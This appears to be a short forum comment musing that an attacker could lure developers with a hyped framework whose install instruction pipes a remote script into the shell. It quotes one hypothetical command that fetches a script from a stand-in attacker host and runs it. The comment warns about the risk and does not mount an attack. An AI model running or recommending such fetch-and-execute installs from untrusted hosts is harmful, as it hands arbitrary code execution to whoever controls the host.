Open-source developers are understandably high value targets, but I'd imagine they're harder to hit with this kind of attack. If I was some evil-doer though I'

Open-source developers are understandably high value targets, but I'd imagine they're harder to hit with this kind of attack. If I was some evil-doer though I'd develop some marketing heavy Javascript/Rust/language-of-the-week framework, hit HN frontpage and have the call-to-action copy be: > Install in picoseconds! > curl -sf http://evil.example/evil_install.sh http://evil.example/evil_install.sh | sh edit: corrected hypothetical attack